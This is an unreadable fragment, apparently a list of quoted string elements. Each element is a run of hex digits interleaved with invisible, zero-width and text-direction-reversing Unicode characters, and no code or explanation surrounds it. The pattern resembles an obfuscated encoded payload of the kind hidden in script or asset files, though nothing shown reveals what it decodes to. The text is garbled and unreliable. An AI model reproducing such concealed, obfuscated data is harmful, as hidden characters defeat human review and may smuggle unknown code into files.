᠎​0�','�￱5‮4­⁥2؜￷f⁦឴⁥6⁦؜a‮؜￲4‎￷e‭','⁧7￸⁨4‏⁥4‏⁥⁩9⁧￱7‮‬0­5￵�','�3឵឴͏7⁩⁡￶⁡0‮￷5‎⁦⁦0⁠3⁣⁦6‪‍￰5឴‫','⁠1⁩؜6­⁥d᠎3￵᠎93⁧⁤⁨￰4⁡⁡￳⁠3ᅟ�','�￸឴3⁢￿‮6឴᠎2￳￸⁡6￰￶⁨‌7‎‍4‎‎�','��b￲￴͏​6⁦‎￳⁠4‎ᅠ3⁣4­3᠎￲￿‬6؜7�','��￲0‌​6឵᠎᠎5‮3￵⁠￷؜8￸͏‭4⁦​­⁣','2͏4⁡e‫￿6‌￶eᅟ⁤3ᅟ3᠎￷⁠￵6�','��￳7￰⁤￴6⁡​2￸͏6⁡ᅠ7￿6￱￲￱ᅟ3￱￸​឵','6؜⁤c‪‎2⁣ᅠf￵￳6￵e￳￳3⁦￿3‪‏⁠5','⁦￰4‫឵‍5ᅠa￵ᅟ5‬0‬⁥4͏￵￲6­⁥‫3ᅟ�','�‫឴6⁣⁤4￰￲3‬ᅠ5⁢￲2​​ᅟ7￷5᠎‭￰','3؜⁥ᅠ3￱⁤‭4￲͏឵9​‮3‍‍0⁦2￾͏￵f￷‍‭','5‎2⁦؜4‫⁨᠎‮8￰￱4￱￰￰f؜ᅠ4⁥‭￵8‪�','�4​‮⁡d￳4￵‪￿a­￰6￵￲￶‭8￲⁢67⁠','4￴￸f؜5‭ᅠ1­឵5￿9⁡3⁧￷￱1⁣⁧�','�5￶⁠‪6￸3⁤᠎2­‬￷3⁦￵7⁩7᠎឴7','￸6⁦‪⁨5⁤⁢ᅠ3￷⁡⁨5￶￶5឴￸8￰ᅟ5�','�‏⁦5‍⁥6￷‪6￲⁠ᅠ5⁢‬⁧8⁥￱‌78⁢￴','⁢7‭⁧⁣5￴2ᅠ￳f‭7￰‍⁦2ᅠ͏3￿�','�‌2￿‮6‭‭‏2⁥⁠4￷⁠2⁠ᅟ4‭⁥2￰￸‮6�','�‬e᠎3￴⁧‍⁣5⁣­6‫‫c￾⁡⁦⁣5￳￸8‏‎᠎7','⁢⁦￲8‭2⁨fᅠ￵￰‎4￴￳4‏⁥5⁩͏‎0⁠￳�','�3￰­￵4⁦‎⁤3￿​2‪­‮4‭⁥e￸឵‎4͏￸','ᅠa‬￾3￵⁧͏￱3ᅠ‍⁦6⁦6ᅠ‍4‫￳⁥￱e⁣6�','��ᅠ2​4￾￲f‍￳4ᅠ⁥‭1￳؜5￲‌￿77�','�᠎6￸￾7‪4ᅟ⁣‬4￷‭5⁢7￾4￴⁣5�','�⁡a￷‌7⁣￷5⁧⁩5­឵￵53⁣‏⁨⁥0⁤᠎⁤4⁨','2ᅠ⁨឵￲4⁥￶ᅟd￰‭4⁧͏‎7⁣￰‌‭6‮￶e‫؜','￸5​؜⁤3￶￳⁩‎5￲5⁨⁤7​￿឴5￴￲⁩͏4‫','8឴‭5⁥￴9‎￲5⁩᠎￲5‏⁤48￾3⁧1�','�⁥4⁣­b‭⁢￷7؜￳3￿​6⁩‌⁧6‭7⁢￿឴9�','��⁩￱3؜‭7឵￶4‪ᅠ3⁡￸⁥6­​46�','��⁦⁧1￷⁤￾2￱f￴￶‭3￴4⁠￶7᠎￶7­‮4⁢�','�a‏⁧4⁤⁥‮6⁥ᅟ⁩3‍￷0‏5‏­⁠᠎9‫⁩­឵7�','�⁩⁦0￿4￲￳⁣2‫⁥7⁥​2​￶⁣￲6⁣⁡9￶￳','7⁠​⁡aᅠ4‌⁧‮‬e؜￶3⁣7⁧឵4￶￸￵7­�','�‬7​￳8ᅟ⁢‪4￴ᅟc⁧‌‮5⁢￲2￱͏6⁧឴⁦‌c⁧','￸￴ᅟ3⁤6￶‎￿ᅠ5‪​‍⁥4​5­‫a‏‎‮','5‍‏­7‪4‌឴3‪ᅠ؜￵3￿‮￷‏9⁦￶⁤⁣5￿­5‭','‬‏7឵6￱7­3​឴3⁤⁨⁠9឴‎￲7⁧�','�￶￲1᠎­4⁢⁨឵f؜᠎឵7‎‍0‍‪‏5‭‍⁠a￴3�','��‬؜1⁦‬￵3⁩￰￴2⁤⁦⁡5￳⁧⁠ᅟ3⁦⁧‍�','�5⁠ᅟa⁦؜4⁩­‌7؜￴4⁧​‭⁩a￴⁥᠎7￷￸','3￸6⁨​b⁧‍3￴￴8ᅟ￲ᅠ7￲￸2￿⁡￷7឵','￳1⁢￴4‫‮ᅟ‌1⁡‍‍ᅟ5⁠2‏⁦⁥4឵￲�','�2￰⁦6‌‍c‎⁢⁣4឵￲⁡b⁩￶4឴‪ᅟd⁥6￰�','�f⁣‍6￷￿8￳￰6͏؜⁩e⁣6‏⁢c￿‭3￿ᅠ7￲','⁠7￰⁦ᅟ3⁢឵6￿￱8​‭￵￶6‌ᅟ7‏￱⁠6⁠�','��d᠎឵7؜￵￾0⁦᠎￰‪7⁥￸4឵6⁠؜a឵‍￸4‭‍','2ᅠ឵6‬b⁩‬￾4￷￰⁦6￱￵5￿᠎2‫￷⁡4‮','8᠎￶3⁩￴2ᅟ؜￰5￴2⁢͏￸4᠎‏￱7͏￷6⁦⁩','￾2឵6‬6‭￰￱4؜￾6￰⁩͏3​⁠‏9','؜​3⁤؜‍⁢2឴￵3￱‬3‍7⁤‌⁢‏6￲￴‬­7‎⁢�','��￲8‫￳⁣7￿‎‮⁥5⁣￳6‭8͏￸70­​5￾‮￵','5ᅠ⁤؜‪5⁢⁠￰⁩0⁣⁤‬‏5￴‌6⁦⁢4￸⁨e￵ᅟ�','�⁡5‌a￳⁢⁦5‪￾឵8⁦­⁡⁥3‬‬1‫⁧⁧7⁩�','��‎5‎᠎⁧5­឴͏1͏‭⁦6￴؜ᅠ￶3⁤⁡ᅠ5ᅟ‪1⁦‮','3͏￳￿2⁥￷4⁢￰͏c⁡⁥6⁥a⁦‏؜5￱⁧7￳4￳‭3​�','��‭‪3⁤⁡7‮​3⁥⁣3⁨￶3⁧⁤⁡2ᅠᅠ‪￸','5￷‮9​⁦6￸‌￸1͏￾6￵​2‫‭2ᅟ᠎bᅟ឴‪6￱','￿f⁩᠎⁢⁤4​6⁠‪4ᅠ⁠؜4ᅟ3​⁡⁥￿7�','�5⁣⁥­0ᅠ؜‏‭7￸￷4឴￳ᅠ6⁤￵‍8‬￵￵3�','�‏⁦2⁠￲7‭￾4‍2‏￵ᅠf⁠6‫​6￶‮᠎￲','51⁦￳5⁥⁤￷8‪؜4ᅠ‎a￱‮‮‍6؜‎a‫7�','��￵9￴‬ᅟ6‬⁦c؜‍5͏￵‌⁠8￷3￲￿0￶⁣4','‍؜￴7؜឵4​￴8‬7ᅠ⁧4͏‮​‫4឵‫‭4‏￸�','��⁣4⁧￳7￵5‮᠎￵5؜￿⁤3ᅠ5‍⁤3⁥‭8⁢�','�­4⁤⁠f￲‮᠎5￱￲￸a឴￶឴6​￷8￱￶5￳⁨�','��1‏⁡4͏￸‫￰5⁢‭6⁠឴‍­5￾‏⁥3⁦឵5ᅠ͏‏￱6⁨�','��d￳‮3⁣￶឴͏2ᅟ￵3￾​឵9￾ᅠ4￿￳‍8￶￱⁦','6￳͏9⁦￶6￴￾￳7­￱6‮⁢a‍⁠᠎6￴‬‬9�','�‬3឴￿7⁧؜￴7￾‌2឵‌​3ᅟ￰‏4⁦‎￿‏3￾￷�','�1‪​‍6⁠⁨9￲⁡￳6⁣​aᅟ3‫⁣‏⁡1‬','￾⁨6؜ᅟa￴‎‎⁩4⁥‮9⁩ᅟ⁤6‌⁩￳￷4￱￾','3‏￴9‮‏￸5͏7￿‎⁦4￵￳­⁢a⁧‪6⁧￲឴','4￲឴‮‏6⁩⁨­1￴͏5￳￰⁠⁥3￷‌5￱‎￿⁥a‬᠎ᅟ','3￿⁧⁧3᠎￳⁧6￰￳‪ᅠ6‌⁥5￳￿2‪‫6⁩⁡�','��b⁣឴￷5⁦3‪ᅟ4￳឴e⁠⁦6‮4￰‮5‏￸�','��6‌7ᅠa‫5￲‍5￾‮؜4￰￴3᠎‍‬3⁨￿�','�3￿‪6⁤⁦⁨￷5￵￾‌3‭ᅟᅠ2​‬7⁥⁤9⁡‍','￲6؜aᅠ￱7‏￶‪￶6⁣‎⁦￰6￵‭⁡3᠎￴⁥7￱￸6�','��⁩3‌￿‌‪8⁥⁧‎￸6⁥᠎2‮⁣7឵­⁩1‫4','­‌‏3⁧￴￷6￶4ᅠ⁤؜‪3￸￿9᠎⁧7‏឵ᅟa','‬6￰3‬￷￿4‫f‮‍6ᅠ‫⁤⁠bᅠ‏⁦7⁠�','��1‫⁦᠎4‌‫8ᅟᅠ3­￱￳￸2⁥⁠‌3‫⁤￱5⁥͏5','ᅠ￰a￲5￱⁣4‭￱5⁥3￸⁧3឵­⁤0￵5￲5','͏‬￿⁠6⁡⁩ᅠ2ᅟ57￿­6￿1￲᠎⁤5￾؜7','؜￵⁩3⁩​￾7‪‭￱4￰￶‍3឴￶2‭؜⁠b⁢7￲','⁦5‫59‬⁩⁧​6￿￿‫a឵6￰ᅟa⁦7؜�','��⁢⁨3￿7឴‬￷‏1⁤￴4￱⁢￾f⁤⁨4￴8￿￳‮6�','��￳￴3‏‏6‬￲2￶ᅟ⁨2‭⁤⁣b￰⁥￴4￴','⁢c‍‏⁥6￷￸؜9‏￾￸6⁣b឴­⁧7⁥؜￲8￿￳3','￵1͏­4⁨​‌4⁢4￾6⁤5￱7⁢​7⁦�','�2⁢4￸‪2⁡‬7￵⁧6￶￿؜​5‪‮￵3￴‎‎3','‌͏ᅟ1‍­3⁡⁤7⁦⁩⁩⁦6‍￵￱⁢3឴⁡￱2￴b','­‫‮2￴￶bᅟ⁨4឵￱￾ᅟ8⁧5￸￱6￵⁥5�','�⁧8⁥឴4⁡⁤c￴⁣‎4឵ᅟ⁨4⁧‮‏⁠7⁡￾1⁨‌','￶⁤3⁡￸0‫⁡‬4‭￶⁡1‌‎᠎4ᅟ3‮ᅟ‮6�','��⁥26‪2؜⁩؜￿7​឵￾3‪￵￳5‭0‪‬�','��￶7᠎​⁨‎7⁢⁡6￸￷‌a​⁩5͏⁢￲6⁨⁡឴6','᠎b​6￳⁩a‌‏￲72­7‭ᅟ8￵⁥3￵�','��9ᅟ⁧⁩7⁦­￶7‌4‭⁤⁢⁣d᠎7￰؜‫2�','��‫5⁧‮a‭ᅠ6￳᠎ᅟ7￶⁨឵￵7⁡￴9ᅠ','4￲؜b⁣7⁤⁩a￱‫7ᅟ￷7￲⁠⁡3͏­￸9￸6�','�᠎‎‍5￰឴⁨7͏2‍‫5⁡‬￲8⁩￵⁦3ᅟ‎6⁤⁡�','��⁦7‏⁢9⁧឵7￱‍2‪3⁦‌3⁤⁩7￲4‭￵5','឵​‍8⁤￲5￵￲8⁩⁨5‏⁣8￸᠎5￱￰‪‭8឵⁠�','��⁠4‫￷e឵￵￸3￿￱￳5‏￷⁨5᠎⁣a⁠​￿7؜￶1�','�5⁨‬឵‮2￷‍⁤6᠎‪6‮⁨3‎8⁧⁨͏6ᅟ�','��￲8⁦‫3឵⁧8‎‫6￵឴‏1⁠⁡5⁥￿9�','�6⁩￷​5᠎￶᠎5￲​9⁡‌‌6￿dᅠ؜4ᅟ�','��7‪￸3⁠8‪￾⁤5￸8ᅠ￳ᅟ5a⁦឴�','�឴4￶឵2￾‎­͏6‮‪⁤￸8￿6ᅟ￴‏e؜‌⁢6​','‎￿4‍‫4⁧⁢￾⁧d￰‬6⁧‪1‪‎⁠4⁦‮1⁢￲￾�','��6⁩b￾‎‏7￸‌a￾⁩￳⁨6ᅟ￷⁥b឵ᅠ­56�','�‏‌￷5‏5￿‭⁩4￸￰⁣f‫⁣￳46‫7⁦‍4�','�4￰ᅠ7‬⁤3᠎‎7⁩4⁣￰1￾6⁠‏⁦8⁥4⁨�','��⁠1ᅟ4￸￳؜d￲‬⁩4￿ᅟ⁤b￸6⁠￸⁩‬8⁦','4⁨5‍⁥￵6‭⁩‬7឴‫᠎5⁦￶4⁩3⁡￿9￿','­‍5‪឵8⁠￵￱6᠎­e⁨￴3￶ᅠ￱⁨3ᅠ⁢3‌⁤','0￴͏￷7￳⁣7￵77‎⁣￲‌6￱7￷‎⁣5￴‮�','��5​‍7⁡⁦0￳6⁩͏d؜⁦7⁤￴7‫⁣￳4￲⁡c�','�￰￳⁥4‍ᅟ​1￲‮2⁠ᅠf￲￴5⁦￲2᠎‏5￵‌6�','�​6￷឵⁩7‮‮឵⁣7​￿⁧a￱‪‪5᠎‬7⁥￴4‍','⁨a￷‍￰5￰3ᅟ5￱0￱7‌؜￱9͏4‭⁧�','�a‫￿52⁤‍឵3⁩￾1￾4⁡‬￸឵9￿￶6￰⁠2￾�','��4￸‍e‌￸‎4￲⁢dᅠ￰6⁡⁣c￶6⁣⁧f؜؜','3‎6⁠​‏4￱⁠5‭3⁥￴0⁧￰6⁡⁠6⁠⁢4�','�⁦e‮⁣￶4⁣ᅠe឵⁢­4‬f⁣￷͏6￶⁤­‬8឵','‬7‫￿￲8￾⁣￸4⁩￶e‫5⁣￸‍5‍3�','��⁢￴⁥7‬⁠4ᅟ￵1⁩‌‬6⁨‮‎c᠎឴⁢5￾','7‪6⁣‏a⁧⁢4⁥⁣d⁠‭5￳⁡⁥⁢8⁠‌⁦⁤4‌￱','‍͏6￱￱2⁣⁧f⁣​‫6឵឴4‏឵6ᅟ͏⁠⁣b⁦￶','￵6᠎d⁤⁡⁧3⁠6￰￶6᠎3⁡‫6ᅠa￱ᅟ5�','�͏a⁤5￿⁣‪0ᅟ⁤6⁡‮9￱‌؜​7￰￷2⁨⁩឵6�','��￳￸7⁠⁡6⁧‪⁥f‬￱5‮‎7‍￵⁧6￳‭8ᅟ￳7�','��‬⁡‪0‌6f￿⁩؜7⁩⁣5឵￵4‎⁦⁥b⁢￶‫','2⁨￳b￲⁡⁡5￷⁦8⁠⁡‭7͏￸ᅠ5‏￶‌6￱￲e‮�','��឴6￲￸d‬3­￸⁥ᅟ8⁠￾￷4‏­8­‬​3⁢؜','6‭7￿⁢͏7­‫​3‌‏­5⁦⁠￰‍2￳‍឴f�','��4ᅟ​⁣￱9ᅠ￱‌4⁠5￶4᠎͏‪c￳4‪͏8￸','᠎‍ᅠ3‪ᅠ7￰5᠎⁡‌0￶5‎‭￾9⁣￲5؜­8�','�͏‪­3‬‎￵⁧7￸7⁥‬‬0￵⁠￳7‌￳6￷￸','4￸‮6᠎⁠4‬‌⁠7ᅟ⁤2⁡⁤‭f​឵⁧6⁨￾⁥￲5','￴￿6ᅠ8ᅠ￱￵3ᅠ￲⁡3‎￴⁥7⁥⁢͏4᠎￲⁡','3‌5⁣6￸￰b⁦⁤6‭￱4￵⁤￱7ᅠ⁩឵2‬­�','��6⁡8‮⁥3‭￿5឴⁤឵7‌￶‪0￳‍​7ᅟ�','�7᠎￲​7‪͏⁨8￲7￿a⁢឴⁥5⁩ᅟᅟ9￱6￾￲','7⁦‍4͏‬￶⁡3⁨⁣4￸￾⁢e⁨‬឴￷3‏⁢⁣0‫�','�‍3￳ᅠ2￳⁨‫6͏឴a᠎￷6⁦᠎￶2ᅠ￰2�','��ᅠ‬f‌឵4⁤￶d឴឵4ᅟ⁦⁧a4‭​3឴5͏�','�؜6᠎‬​6؜͏⁦eᅟ4⁣‎9‬؜‍3⁦6‍￰�','��￲4‮؜d⁧‬4⁤‌3￱‮‎‏4‍‏؜e­4￷⁠឴1឵�','��7ᅠ4؜‍᠎5￳‎⁥4​᠎឴4­‍ᅟc￵⁡￶6⁨‎�','��1⁨￶￷6؜⁣8‌⁩ᅟ7᠎5‮3￱⁨￰1⁩‏','6￵឴‎­9⁩7⁤1⁤7‍­2⁢‏4￰᠎￶឴6‪�','�5⁨￵4⁤6⁩͏5‎￴6‎1‭឴4​⁢f￷⁨6�','�‎f᠎‭‎￱3‮‌8‭ᅟ7⁥0⁠4⁡‫￿؜b�','��⁢឵6￿‎⁡c⁡￾͏4‎1￲​4￾‫‍؜f­⁦⁣⁤3�','�3￱￿￴‍5⁠7￴2￲￲￷f឵­3￾￾​­','0᠎⁥3‏ᅠ⁩7‬7​￳឵0￴5ᅟ2‮￲6᠎3�','�￲‬7￳⁡⁣86￳⁧⁦9‌5‬￵­9‪‮⁦4�','��‌b‪᠎￱￾3￶‏឵￳4￱‭5⁦⁣0⁧​͏2⁢឴f','⁢2￲⁣￵⁥b￵￵5⁨‭￿3￿⁦4‭឴￲‫2‭4�','��￵2​⁣᠎7᠎ᅠ5‎‮6⁥‫9­­3￾￰2‏￱�','��7‪2⁢‏5‬឴7‪‎3‭0‎؜6⁠⁠‫2�','�￾⁡3؜3⁤⁣￴7￴‌឵￶5⁠￵‫6​⁧⁩3‌￰⁡5�','��⁧6￰‍4⁣⁤‏c‏⁧‭‬6͏‫8‎⁢឵5￸7￳￶4�','�⁢‌‬7‭឵­‏4͏￲឴5‫឵6￲3⁨‌᠎6឴⁩­⁡b','⁠؜￲5￳￵9؜￳⁩7‮⁩0⁡‌￿3￿￲ᅠ￲3‌�','��3￲ᅠ15؜‭⁢6‪⁥￵4￵⁥￴9￱⁨￶6‫￳‎f�','�6￱⁦⁤a⁥6‍￵᠎2⁢឵ᅟ6᠎e￿￰⁧4⁠⁠','‍f￷‌3؜⁣5⁨7￳3ᅟ‫͏5ᅠ￰6￲᠎','7￵￶​7⁩‎5⁢⁨‭5‫‌‌2￿​‫⁡b‭‫឴4�','��5ᅠ5⁩‍5‎⁢￶5​9؜⁢￳3؜ᅟ8⁡᠎‭‌2‏','⁠͏b⁡‌‍‪3⁣3⁡⁤4￶￸￰3⁧￰឵4ᅟ￸7؜‌￰','￰7⁣￶6⁢￿6￵e‬6￱‍f￶⁣6͏￵a￿⁢͏7￸឵7','￴￲឵⁩4‍￰᠎￰aᅠ⁣⁨⁨4‪⁠b͏‎￷⁠4‎￸⁤b￰឵','3⁧￲0᠎឵7￾‍￶0￱⁨7⁨᠎￵0￳͏3឵⁢￴0�','��7‪⁨‮1￰‪឵⁣4⁩‌4⁤⁨5⁠￱؜1­ᅟ￰⁡5￶ᅠ�','��a￸￳5‎⁨ᅠ⁦1⁩؜⁥5᠎឵6​4⁥​5‫‪⁥6￲�','�c‫⁥5￾឵0឴⁧​⁦6￳​‎8​￰‎5­⁣4‭3','⁦￰⁦6⁠‪؜6‌￳7￵‬3￲‫￰8￰￾￵؜6᠎￵c⁥‍4�','�⁨b￿‫3⁡឴9⁨⁧7‬￰⁦7⁥2‏￿￶b឵','⁢￸6⁣d᠎￷5­‎￴4￾ᅟ⁡5⁡￲4‪⁠￱6​ᅠ�','�￾d‎7￳5⁡‏3؜7‍⁧឵￳6￳￷8￱‮�','��7￾0⁥­⁡5￿‪2⁩͏￶4￶⁥e￷5￲‬⁡9￳‮','7͏￿￾6឵￷2‌￱⁧b⁩5឴7‏­5￲⁤￰7�','�6￱‫￷a3⁢￳8⁨឵6឴￱￲ᅟa᠎￾‭7⁦⁦7᠎�','�￱4￸5⁧ᅠ⁩6‬⁧­b⁣‎‏￲3⁧‌0￵⁥4⁣⁩1⁤','‭͏‍6؜‮￿⁨3‬⁨￳￿5⁨᠎￱2￱⁡4￴9�','�⁨6⁧‏⁤8ᅟ￲‫⁡6⁨￸aᅠ￷￴‭7‫​3￿￸￿5','￿￲1￷‫5￴6￲5￸ᅠ0￴ᅟ឴2￷￿f‪⁦6⁡','1￳￸￿6឵￷‮b￴؜￱⁤7͏⁠⁠0⁡⁠‫￷6‮3⁤‭‎','￳2឵f͏￳7￶ᅠ⁣4⁢᠎‍5‭‪￰￷0￸ᅟ3⁧᠎‫�','�8‎​5ᅠ⁥6⁣​4￰⁥￰d‪4͏6⁤‎ᅟ7‭­�','��8‬⁠3￱￴⁧9⁢‫4⁦⁥឵឵c⁤￵6￱⁦d⁣­5⁥�','�؜6￾⁢4­￳9‎⁦؜​5￶‭0￾3￰￳‪￵5￿4�','�‎e⁣‏5⁣￱᠎‌2⁥⁡3⁣‌5‎‍ᅟ5‍￸8⁨­�','��6￵‪4؜؜⁨7￳‬­‍2឵⁥4​​⁦￸c­ᅠ4‍b⁠4�','��￵7­‌‍⁡5⁦7￿6⁤￶1⁢‭‍5‏￱⁣a￲⁣7�','�3ᅠ￶5￿‭1‏⁩‫⁨5⁧⁥￶᠎7឴឵⁡5￾‮‌4￾','‍4‭8‭￶6‮᠎‌d⁡￲7￲9⁦‭7￱⁥‪�','��5‭‍឴6￿￰3⁨⁩￸6‬‍a⁠6​5⁢�','�4￰⁦￵c￱⁣￲4⁩⁡8‌‫ᅟ឴4￶⁧⁠7‎⁦6⁧‫⁡','4⁩‫￸2‎b3⁠7￱⁣⁦⁡5‎￳￰6￵⁩5','‭3‪⁩‎6‫￰8឵​￳6⁩ᅠc‮‬5⁡￾5�','��￾‬4​⁦￰b￱​￾6ᅟdᅠ￷؜⁠7‫￾8⁡￾￶឵4⁤','‭⁡f᠎6⁩dᅠ‌‏4￴dᅠ3￳឵⁡8�','��5￱￱‎8⁢⁠4‍⁢‎5‪4￱‮‌f￳‏4￸￿⁨6�','��‮5￾ᅟ0­￾4⁡‌￸‮7‍⁧឴3⁩5‬‭⁩6⁧‮','⁢e‪⁥￱6￱7￷￷‬6ᅟ؜‬⁠f⁩‮￴4⁥￾c�','�￴4‬‫9‌‮2‍b͏⁧4͏￷‪￲d឴᠎⁩3ᅟ￶⁨6�','��7‬᠎6‭‮⁧￷4‎⁨6ᅠ￸⁩7⁧‌￶￱a⁦­￰3','⁧6⁩឵4‍￶‪f⁡᠎⁣7￵a￱￶4￷⁥95','⁣9͏‪5឵￱4￴⁢4‌2⁥⁢￰3᠎⁩⁢9‎4‎�','��d⁨‫3‎⁦8‍⁨​7￰͏‎1‪⁦5឴᠎1￳7�','�ᅠ⁦3￷⁦4‎ᅟ9‪￸͏7￷￲￿7￲‍3ᅠ‪￱2͏͏឴2�','�fᅟ5￿͏‭0‏⁤‫4ᅟ8￸឵7￾￿a‮�','��3⁥￳1⁢­ᅟ⁥6­⁩‫‬cᅟ￰6⁥⁡⁢3￶2￾f‎͏7','￲᠎⁡6⁥‫5⁧6⁥⁤4￳1⁦͏4‪឴b​￸​3�','��឴￷⁤2឴￸36‭‍⁨4⁡￲⁩ᅠc͏￳‭￴7⁦⁤4￷','￿⁣57￴⁢7​⁢a⁦7￳6⁨6⁧‮3‫‏','￾3⁥‮0͏­3؜￷2ᅟ5￾᠎⁨6ᅟ؜⁥￲7⁧⁠a�','��7⁦‍7­⁧6ᅠ⁢3⁧￳­￶6￶‎‬⁣e؜5￳‎�','�4￶‏2⁠‏f⁨￰​7ᅟ‫￴⁩1‫￶‌‏7ᅟ⁦5⁤⁣‌','6‌ᅠ7￵￿5ᅠ᠎a￰‮6⁣⁡￴3؜‏6͏￿d￵⁨឵4￵￷�','��‬c￰‎⁤6឴឴7᠎4ᅠ￳b⁤￿6ᅟ឵7͏⁣5឴‌�','�7‬￴؜‭6￰￵￲d⁨⁢3￴0͏⁠3⁨⁤⁥7⁦ᅠ͏ᅠ','6⁩‎a￳5‫‎5‏‌឵6‫￶‫f‭7឵⁩4ᅠ','￲4ᅟ‬4￵؜឴5⁦1ᅟ4⁩­⁤a⁥⁡឴5⁧','‭0⁣‏6￶￿d‍7￲‬9­⁤4⁩⁦9‫6�','��‫⁢ᅟ5‎᠎⁡‏7￲‪￿1￴‌7​⁧6ᅟ￲3‌2�','�͏￳￷7⁢7ᅟ￶⁩5​￰⁣5￲᠎￰3⁢‍‬­2￶￸6�','�‪ᅟ2‪᠎4‍⁢4‬⁥3￲­2͏‭4￰⁦￴c‮5�','��឴3￷‏⁦5‌ᅠ؜9￰6￱‏឴8‬​‮￳7⁨￶9￲','￸￵4⁤⁥‍￱9⁠⁤5‭⁩3￸7឵឵‭7￷؜￶᠎7⁧�','�឵‫83￳‪4᠎⁦឴5‫‌‏‪3￰￾4￳­‌c￸�','��‮⁤4⁧‎⁡6⁨6⁨⁨6‮͏​6᠎⁢b5￳','￲￰7￲7͏‎4‫⁧⁢5￰⁩5‫‎⁠￶6￶͏a឵','⁦‏‫4‍￵⁥f‍￸￳6‭￴͏f￱‏⁡­5‪ᅠ8⁦￵�','��7⁥￵9ᅠ឵͏6ᅠ឴32⁢‍­‍f͏￷‏⁩7�','�6⁩5‪‭0‭‌⁨⁦4￴￶￰d￱ᅟ⁠￴4￳ᅟ9⁧ᅠ','6؜⁥­4￿￲4‏￳⁦8⁣⁡47⁧⁩᠎￵6‬‫3؜‏⁤','6‏‪e؜‎6￿⁤b‬4᠎￿⁧4‫4￱￾‬b⁩ᅠ�','��3￵឵7￾​7￶‏6￴3⁥￵4￰⁦￷⁦45‬⁩￾7឴','ᅟ⁤3￾ᅠ͏­5￾⁡⁦0￶⁠￲ᅠ4￾⁣‬d⁨￵‪5⁩⁣�','��1￶‎͏⁧6⁠￲d‫￱⁩7‫⁩­4￵￿4￴⁢￳f￳�','��6￷￵4￿3￷3­‌6￾⁥⁡e⁢‫3‮‏￵4឵�','�￴6​⁠1⁦￵‮4⁣￲ᅠ‏b￷‮7￴‪2⁠⁦￲6￱⁧4឵�','�⁢4؜￴7͏‏‍2￶￰b‪6￴⁢1⁧‮6‫‍9⁢3','‮‭᠎1￳‭ᅠ7؜ᅠ5​⁡6‍￷⁩6￶7͏‎9⁧','￵ᅟ⁦7​‎‍‮2⁩⁣⁠4⁤￲a⁢￲⁨‭7⁥⁨9឵5�','��￲9ᅟ؜7‍‬⁨9⁨￷7ᅟ឴2⁠឵⁦7⁢￱7‎‬￰5�','�‪‎5⁢￳⁣⁡4⁠⁢5￿￸3￲￱7￲‌3￰⁡6￿‏','4‪‍­c⁦￸6￴6ᅠ‎7￴‌‪3￲￶‌6​1᠎�','��7⁢⁦⁡2￶￷￵63؜5‭4⁧⁥‌￾7᠎­0','⁠⁣4⁣؜឵bᅟ￳￲2￳‫b᠎4‎d͏￲‏6‭⁢ᅠa�','�ᅠ4‬⁠⁩d⁨‍7￴؜‫8⁥￷￸￶7឴⁩3￶‎⁨6‬ᅟ￵�','��9؜7⁩￾ᅟ‭8­­￴3឴6‭￰￱‍3⁣7؜⁦','⁦­7​‪8‮‫4‏‫b‬‫3￴￱⁨6‫￴3⁣⁩5‭�','��3⁢⁣4￱￶7⁡᠎1‎‬7‮￲9⁨‭⁣⁡6�','�ᅟ‪7￾‌឴6឴ᅟf⁥￵ᅠ5‍‭9‬⁥⁢4f','￰￴6￶‫9‬￵6‎9￶￷᠎7‮3‫3�','�‭​2￸‭3ᅟ⁨￸1͏ᅟ⁠￾3᠎￶￶⁣8⁠᠎￾4­⁧','f⁤­឵6￳‭bᅟ3￳⁠￸6឵⁩6‮9͏‎￸2￵⁩⁠f‍�','��4‏⁩b￾￲6‬￸⁩d￶￾6­⁠f⁨￸4឵c⁤‭5�','��a‬⁤6￳5⁢‏2­￶‪b￴؜￲5‎⁩￱4⁠⁡�','��͏7ᅠ⁣‬￸1￾￿6￲6‎⁡￵‎7‌឴2­⁣4‏�','��￱7⁨­⁨3‎￳￲5⁡⁢￶4￴‌￾c‌‬4­6￷�','��4឴￷3឴‪￵￶7￱￰a឴឴⁤6‍‪‮8‍­￳7￲‎','2឵⁢￰‭2￲f￳4￸⁡￷7‮￴‬6￷ᅟf‎ᅠ7⁩','￴‮0‮￴‮‎6͏؜3￸឴⁧4‏‬6￴4⁧឴9᠎','￱5឵￴￴9⁩￰￴3￿￶6⁨￷5⁤‪4￸￷؜‫5⁦�','�4⁣7‫1￶￿4￴2‪3‏⁦‮4‏‍᠎6͏￵⁩2�','�⁡50ᅠ‫᠎4‭͏6￳‫⁨5⁥­33⁦�','�8￷឵⁦4​‪e‫4‬⁦‬2­​6￱⁣c⁥3؜7‎','⁡4‬￴6­͏6￲3‫⁦7‬⁢6‬‭⁠​6⁣‍2￾�','�‪6‏‏⁣d￵￶6￸឵᠎a￳‎4￶‭3￴⁦⁨5','￿⁩឴2￷‫‌6‭⁨‌f￴͏­‏7͏7￶3ᅟ9￿⁥￶4','￴​￷2￱឵‌4​⁡‭a‪￷3ᅟ￱￵1‏⁥᠎‬5￾឴�','�5ᅟᅠ3⁤‮5ᅠ᠎3؜6‫⁩5⁧‏؜⁨2⁨￸5‬⁤3￰','‎￾7឵⁨7؜‪5‏⁩7￲￸5￶⁠⁣￿8‭ᅠ￿6�','�‭ᅠ9⁩￾⁥3­‏⁠‎9­​3⁥1⁩5⁢⁨a⁥6￱�','��￱᠎f￳‬⁣­6‭a⁠‪5￱‪1⁤4￸⁥￸b؜⁧3￿؜�','��4⁡￱؜4ᅠ￱￾b؜⁨￸4­￵66￱⁡2​‎‫6‍�','��a⁦ᅟ᠎­6￾￲￶a⁣⁠⁡6￲￴c⁠‪6ᅟ‭⁢‪cᅠ7�','�⁡2⁤‮4￱￶8‏⁣؜‫7‌⁡⁧2￾4ᅟ‪4�','��⁥￷5‏0￿￳‍͏4￸6‍‫⁡5⁤￾a⁤7؜�','��0￶⁧‏3឴‌⁩؜5￴​‎6￴e⁨⁦7￶2​‬','­7‍￸⁧4؜3ᅟᅠᅟ6￵‬5￸83⁡⁢2⁣�','�⁢3⁤⁡5￵឵‪￵3ᅟ‏0ᅟ‌5‭ᅠ⁧7឵‭6‍￴','￸f‪͏ᅟ7‫⁠4‭​￱7឴⁦6⁡3឵‪⁠￳2‪͏؜7','‍⁤1⁩ᅠ឴￸4ᅠ7͏⁢5⁧￵￷4឴᠎⁠4ᅠ￰7￶�','�‍7⁣‬￵0￴7￴￴￲​7‬⁣7⁦⁨឴7​⁠5​','9⁡￿‍⁤6￾‎‬e⁢￿￲5‌￲2‌￱5￲4‎⁡᠎5','￷­1‎￿￸‫6￵b⁦